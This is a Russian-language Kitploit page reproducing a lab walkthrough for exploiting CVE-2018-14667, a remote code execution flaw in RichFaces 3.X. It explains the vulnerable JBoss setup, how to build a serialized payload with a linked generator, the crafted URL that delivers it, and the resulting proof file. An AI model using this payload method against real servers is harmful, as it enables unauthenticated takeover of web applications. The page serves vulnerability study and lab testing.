Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-14667 — Все о CVE-2018-14667; от того, что это такое, до того, как успешно его эксплуатировать. | Kitploit
Инструменты/GitHubGitHub/syriusbughunt/cve-2018-14667
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Все о CVE-2018-14667; от того, что это такое, до того, как успешно его эксплуатировать.

Репозиторий
50927 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-14667

Потратив много времени на понимание и корректную эксплуатацию этой уязвимости CVE, я решил создать репозиторий с ошибкой RCE в RichFaces 3.X и поделиться пошаговым руководством с сообществом.

0x00 : Введение в ошибку RichFaces 3.X

В понедельник, 19 ноября, Жоау Ф.М. Фигейреду опубликовал хорошо детализированную статью (https://seclists.org/fulldisclosure/2018/Nov/47) о критической уязвимости высокого риска в RichFaces.
CVSS3 Базовая оценка: 9.8

Эта уязвимость позволит любому неаутентифицированному пользователю выполнить удалённый код на любом веб-приложении, использующем RichFaces 3.X (все версии), что является наихудшим сценарием.

0x01 : Затрагивает ли это меня?  крик

Что ж, если вы используете RichFaces 3.X (любую версию RichFaces 3) и видите в своём исходном коде следующие элементы, весьма вероятно, что вы уязвимы для удалённого выполнения кода через CVE-2018-14667:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component.StateHolderSaver
  • java.awt.Color

0x02 : Запуск уязвимой среды для тестирования ошибки  ошибка

Я в основном повторно объясню то, что уже было освещено в статье на seclists.org, о том, как развернуть уязвимую среду.

  1. Скачайте JBoss 5.1.0GA и демонстрационное приложение с RichFaces, содержащее приложение PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Распакуйте ZIP-архив.
  3. Скопируйте приложение richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear в каталог развёртывания JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Запустите сервер приложений JBoss, используя следующий синтаксис (перед запуском убедитесь, что ваш порт 8080 не занят): cd bin ; ./run.sh -b 0.0.0.0
  5. Вам нужно перейти на главную страницу PhotoAlbum, чтобы активировать веб-приложение.

0x03 : Генерация корректной полезной нагрузки  ухмылка

Теперь самое интересное! Именно здесь у меня возникли трудности, поэтому я подробно объясню, как сгенерировать корректную полезную нагрузку, не повторяя моих ошибок. Сначала рекомендую использовать Eclipse для компиляции полезной нагрузки.

  1. Скачайте Eclipse по следующей ссылке:
    → https://www.eclipse.org/downloads/
  2. Запустите Eclipse и выберите создание нового веб-проекта.
  3. Получите генератор полезной нагрузки (авторство принадлежит orich1 с https://xz.aliyun.com/t/3264), доступный в этом репозитории
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Извлеките WAR-архив из этого репозитория (richfaces-demo-3.3.0.GA-tomcat6.war), скопируйте все .jar-файлы из папки WEB-INF/lib/ в папку WebContent/WEB-INF/lib/ вашего Java-веб-проекта в Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Добавьте файл Main.java в Eclipse: щёлкните правой кнопкой мыши по имени вашего Java-веб-проекта в Eclipse, выберите New, затем File.
  6. Сделайте папку WebContent/WEB-INF/lib источником пути сборки в Eclipse: щёлкните правой кнопкой мыши по папке lib, выберите Build Path, затем Use as Source Folder.
  7. Проверим, повезёт ли вам: нажмите зелёную кнопку Play, чтобы запустить компилятор. Если вы получили 0 ошибок и корректную полезную нагрузку в выводе, поздравляю, у вас есть корректная полезная нагрузка для CVE-2018-14667. Если же у вас возникают всевозможные ошибки, не паникуйте. Возможно, вам стоит закомментировать следующие строки: 29,30,31,32,33,34,35, чтобы они выглядели так:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Результат в Eclipse должен выглядеть примерно так:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Отправка полезной нагрузки и получение удалённого выполнения кода  бомба

Перейдите в браузере на ваш локальный сервер JBoss, запускающий веб-приложение PhotoAlbum: http://192.168.100.2:8080/photoalbum, щёлкните правой кнопкой мыши и выберите "Просмотреть исходный код страницы". Нажмите Ctrl+F и найдите '/DATA/'. Вы должны увидеть нечто похожее на это:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Вы чётко видите сериализованный объект. Именно здесь мы заменим сериализованный объект нашей полезной нагрузкой, чтобы получить удалённое выполнение кода. В браузере измените URL на http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/ВАША-ПОЛЕЗНАЯ-НАГРУЗКА-СГЕНЕРИРОВАННАЯ-В-ECLIPSE. Моя полезная нагрузка выполняла команду 'touch /tmp/PoorRichFaces'. Посмотрим, был ли у меня успех:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Приятно, не правда ли? Мы только что получили RCE на Java-веб-приложении, работающем на RichFaces 3.X.

0x05 : Как исправить?  заплатка

Вам это может не понравиться, так что приготовьтесь и держитесь за клавиатуру; RichFaces достиг конца жизненного цикла поддержки своего продукта, поэтому пользователи (вы) должны применить собственное исправление. Не паникуйте, если не сможете найти способ исправить уязвимость, не стесняйтесь связаться со мной, мы можем договориться о том, чтобы я исправил ваши Java-веб-приложения.

Электронная почта: [email protected]

Скачать инструмент